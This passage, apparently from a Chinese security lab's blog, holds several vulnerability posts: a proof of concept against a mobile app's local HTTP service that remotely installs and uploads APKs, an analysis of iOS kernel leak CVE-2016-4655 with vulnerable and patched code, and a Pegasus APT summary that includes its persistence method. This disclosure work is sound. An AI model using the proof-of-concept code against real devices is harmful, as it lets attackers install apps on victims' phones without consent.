    e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5)
    r = e_scheme.encrypt(s) 
    return base64.b64encode(r)

def decode_(s):
    b = base64.b64decode(s)
    e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5)
    return e_scheme.decrypt(b)

def req(payload):
    headers = { 'Content-Length':str(len(payload)), 'Content-Type':'application/x-www-form-urlencoded',
    'Host':'127.0.0.1', 'Connection':'close', 'Accept-Encoding':'gzip'}
    try:
        r = requests.post("http://192.168.31.160:8786/bind?uuid=" + x_uuid, data=payload, headers=headers)
        r = requests.get("http://192.168.31.160:8786/getapplist?uuid=" + x_uuid)                        
    except:
        print "Error"

    print r.status_code
    print r.content
    if r != '':
        print decode_(r.content)
    print r.headers

if __name__ == "__main__":
    stage1 = encode_("{'code':'123456','uuid':" + x_uuid + "}")
    stage2 = encode_(stage1)

    req(stage2)

2、远程下载、安装应用。

String apkdetail="{'pkgName':'com.wandoujia.phoenix2',"
            + "'url':'http://a.wdjcdn.com/release/files/phoenix/5.19.1.12038/wandoujia-wandoujia-web_direct_binded_5.19.1.12038.apk',"
            + "'name':'wandoujia-wandoujia-web_direct_binded_5.19.1.12038.apk',"
            + "'fileMd5':'3808dbc7092e18ec9e375d54b027162f',"
            + "'autoOpen':'true',"
            + "'installBySys':'false',"
            //+ "'fileFolderPath':'',"
            + "'forbidRename':'true','length':'6492397','mimeType':'application/x-www-form-urlencoded','hasToast':'true',"
            + "'hasChooserDlg':'true'}";
String data=b(apkdetail,f_u);
data=b(data,f_u);
resp=(doPost("http://192.168.31.156:8786/downloadandinstall?uuid="+uuid, data));

3、其他如上传文件等均可执行。

String fileContent=Util.readFileByLines("D:\\迅雷下载\\w.apk");
resp=(doPost("http://192.168.31.155:8786/bind?uuid="+uuid, ecStep2));
resp=(doPost("http://192.168.31.155:8786/upload?      uuid="+uuid+"&len=6492397&start=0&time=0&name=w.apk&type=apk&fileMd5=3808dbc7092e18ec9e375d54b027162f&installBySys=true",fileContent));

修复方案

结合这两款应用的应用场景发现,在鉴权方面并没有多大的修复空间(这两款应用都通过2次的3DES加密交换uuid,对第三方接入进行鉴权)。因此,我们建议开发者在第三方接入时,给用户必要的交互提示警告,确保经过用户授权才可以调用相关接口,从流程上对这个问题进行修复。
通过在盘古的Janus平台检索发现,有两款腾讯应用受此漏洞影响。分别是QQ浏览器和QQ热点。

其中QQ浏览器的影响比较大,测试发现包括最新版的很多版本都受这个漏洞的影响。

漏洞发现者

赵帅,盘古实验室研究员
卜文奇,盘古实验室实习研究员

CVE-2016-4655

苹果在上个月紧急发布了9.3.5更新来封堵Pegasus攻击中使用的漏洞,不过内核信息泄露的漏洞(CVE-2016-4655)在iOS10beta8版本中仍然没有被修补。直到今日开始推送的10.0.1版本中才修补该漏洞(安全更新)。

由于iOS10是iPhone7/7p的预装系统,因此苹果可能在知晓该漏洞前已经开始生产iPhone7/7p设备,导致无法在10.0中修补该漏洞。而Pegasus攻击中使用的另一个内核UAF类型的漏洞(CVE-2016-4656)其实在iOS10beta1版本中已经被修补,猜测是苹果内部安全团队应该也发现了该漏洞。

漏洞原理

OSUnserializeBinary函数用于解析二进制格式的序列化对象,之前爆出的UAF漏洞(CVE-2016-1828)和这次的UAF漏洞(CVE-2016-4656)都存在于该函数中。我们观察OSNumber对象的创建代码。

        len = (key & kOSSerializeDataMask);
        wordLen = (len + 3) >> 2;
        end = (0 != (kOSSerializeEndCollecton & key));
        DEBG("key 0x%08x: 0x%04x, %d\n", key, len, end);

        newCollect = isRef = false;
        o = 0; newDict = 0; newArray = 0; newSet = 0;

        switch (kOSSerializeTypeMask & key)
        {
        ...
            case kOSSerializeNumber:
                bufferPos += sizeof(long long);
                if (bufferPos > bufferSize) break;
                value = next[1];
                value <<= 32;
                value |= next[0];
                o = OSNumber::withNumber(value, len);  // <--------- len可控
                next += 2;
                break;

在创建的过程中value和len都是我们可以任意指定的数据,查看OSNumber.cpp的代码可以发现len其实对应的含义是number of bits,也就是数据的位数。数据位数应该不超过64,然而整个初始化过程中没有任何额外的检查。

bool OSNumber::init(unsigned long long inValue, unsigned int newNumberOfBits)
{
    if (!super::init())
        return false;

    size = newNumberOfBits;         // <--------- size可控
    value = (inValue & sizeMask);

    return true;
}

OSNumber *OSNumber::withNumber(unsigned long long value,
                           unsigned int newNumberOfBits)
{
    OSNumber *me = new OSNumber;

    if (me && !me->init(value, newNumberOfBits)) {
        me->release();
        return 0;
    }

    return me;
}

我们控制的size成员会被numberOfBits和numberOfBytes函数使用,因此我们也可以任意控制这两个函数的返回值。

unsigned int OSNumber::numberOfBits() const { return size; }

unsigned int OSNumber::numberOfBytes() const { return (size + 7) / 8; }

继续观察使用这两个函数的地方,可以发现is_io_registry_entry_get_property_bytes中通过numberOfBytes函数确认OSNumber的数据长度,最终造成内核栈数据读取的漏洞。而内核栈上保存了函数调用地址以及stack cookie等数据,可以轻易计算出内核的基地址。

    } else if( (off = OSDynamicCast( OSNumber, obj ))) {
    offsetBytes = off->unsigned64BitValue();    // <--------- offsetBytes是栈上的一个uint64_t的变量
    len = off->numberOfBytes();             // <--------- len可控
    bytes = &offsetBytes;                   // <--------- bytes指向栈上的地址
    } else
    ret = kIOReturnBadArgument;

    if( bytes) {
    if( *dataCnt < len)
        ret = kIOReturnIPCError;
    else {
            *dataCnt = len;
            bcopy( bytes, buf, len );       // <--------- 拷贝任意长度栈上的数据返回给用户态
    }
    }

漏洞修补

分析10.0.1的内核可以看到苹果在创建OSNumber前对参数做了额外的校验。

        v30 = (OSSet *)(*(_DWORD *)v15 & 0xFFFFFF);
        v31 = *(_DWORD *)v15 & 0x7F000000;
        if ( v31 <= 0x7FFFFFF )
        {
          if ( v31 > 0x2FFFFFF )
          {
            if ( v31 != 0x3000000 )
            {
              v16 = v27;
              if ( v31 != 0x4000000
                || v108 + 12 > (unsigned __int64)v109
                || (unsigned int)((_DWORD)v30 - 8) > 0x38    // <--------- 限定len的范围是8-64
                || !((1LL << (*v15 - 8)) & 0x100000001000101LL) ) // <--------- 限定len只能是8/16/32/64
              {
                goto LABEL_158;
              }
              v107 = *(_DWORD *)v15;
              v108 += 12LL;
              v51 = v15;
              v20 = OSNumber::withNumber(
                      *((unsigned int *)v15 + 1) | ((unsigned __int64)*((unsigned int *)v15 + 2) << 32),
                      *(_DWORD *)v15 & 0xFFFFFF);

漏洞发现

我们并非通过bindiff等复杂手段定位该漏洞,所以。。。这是一个悲伤的。。。撞洞的故事。。。

实际情况是当苹果发布9.3.5版本后,我们测试了手中的漏洞,结果发现这枚未满周岁的信息泄露漏洞不幸阵亡 TT

Pegasus – 针对iOS设备的APT攻击分析

苹果在今天凌晨突然推送了iOS9.3.5更新,并且更新日志中提到修补了三个安全漏洞。随后Citizen Lab发布文章指出这三个0day被用于针对特殊目标远程植入后门,而Lookout则给出了对Pegasus的具体技术报告

远程植入的流程是首先引导用户访问指定页面,此时会触发webkit漏洞(CVE-2016-4657)获取代码执行权限,随后利用漏洞(CVE-2016-4655)泄露内核的加载基地址,最后触发漏洞(CVE-2016-4656)获取内核态的代码执行权限。在获取最高权限后,Pegasus还会进一步针对persistence处理,保证系统重启后后门仍然工作。

内核漏洞

通过攻击流程可以知道两个内核漏洞均是在浏览器内被触发的,同样在APP沙盒规则内也能利用该漏洞。盘古发布的9.3.3越狱同样也是利用了沙盒内的漏洞,苹果非常迅速的推送了9.3.4的更新。正如我们在今年Blackhat上讨论的,沙盒内直接攻击内核的漏洞将是苹果用户面临的重要风险,苹果的安全响应也在提速。

其中CVE-2016-4655漏洞是由于读取栈数据时缺乏边界检查,导致能够获取栈上额外的数据,而函数的返回地址一般会被保存在栈上,因此达到泄露内核地址的目的。

而CVE-2016-4656漏洞则是一个典型的UAF漏洞,通过精心构造数据可以在Free之后先分配对象来重新占用之后再触发Use,也可以进一步转换成double free。

Persistence

Pegasus在设备重启后设法通过命令行的/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc来解析js脚本重新触发webkit的漏洞,随后再同样溢出内核漏洞获取内核控制权。为了能够让jsc解析指定的文件,Pegasus会将rtbuddyd服务替换成jsc,rtbuddy的服务配置内嵌在launchd的__bs_plist中:

        <key>rtbuddy</key>
        <dict>
            <key>ProgramArguments</key>
            <array>
                <string>rtbuddyd</string>
                <string>--early-boot</string>
            </array>
            <key>PerformInRestore</key>
            <true/>
            <key>RequireSuccess</key>
            <true/>
            <key>Program</key>
            <string>/usr/libexec/rtbuddyd</string>
        </dict>

因此只要将–early-boot指向漏洞利用的js文件即可在系统重启的时候获取控制权。

数据获取

除了常规的个人数据获取(例如地理位置、短信、联系人、邮件等),Pegasus还针对多种流行的APP开发了信息截获的插件,例如Skype,Telegram,Whatsapp,Viber等。值得注意这些插件开发都是基于cydia的substrate的框架,因此Pegasus安装时自带了改名的substrate动态库。

APT攻击检测

通过这次事件可以看到信息安全威胁已经从桌面系统的APT攻击逐渐过渡到针对移动设备的APT攻击,必定也给安全产商们带来更多的挑战。而iOS设备的特殊之处在于它的封闭性,虽然一定程度上提高了iOS的安全性,但也阻止了其它厂商对其的检测能力。架构的安全性并无法完全阻止依赖漏洞为主的APT攻击,而只能提高攻击的成本。

根据公开的资料可以推断这次APT攻击被检测到是基于跟踪可疑URL发现的,假设后门作者没有出售高达300份的使用权,由于缺乏临机检测的能力就很难发现这种隐秘的强针对性的APT攻击。

针对iOS设备临机检测难的困境,盘古研发的APT检测产品首先通过利用漏洞攻破苹果的封闭体系获取系统最高权限,随后对整个系统的文件、配置、运行状态等进行深入扫描。扫描功能包括设备配置检测、程序签名证书检测、系统应用检测、进程信息检测、越狱状态检测、越狱插件检测、设备风险项检测、系统文件差异化检测、网络端口检测。最后能够生成结论报告并对扫描出的高危风险项进行自动提取以供后续分析。

根据掌握的Pegasus APT攻击的信息,我们的APT检测产品能够在多项检测内容中发现该后门并提取样本。

BlackHat USA 2016

盘古团队于2016年8月5日在美国拉斯维加斯举办的顶级安全峰会Blackhat USA 2016上分享了”Pangu 9 Internals”的议题,获得参会技术人员的广泛好评。

Slide下载: us-16-Pangu9-Internals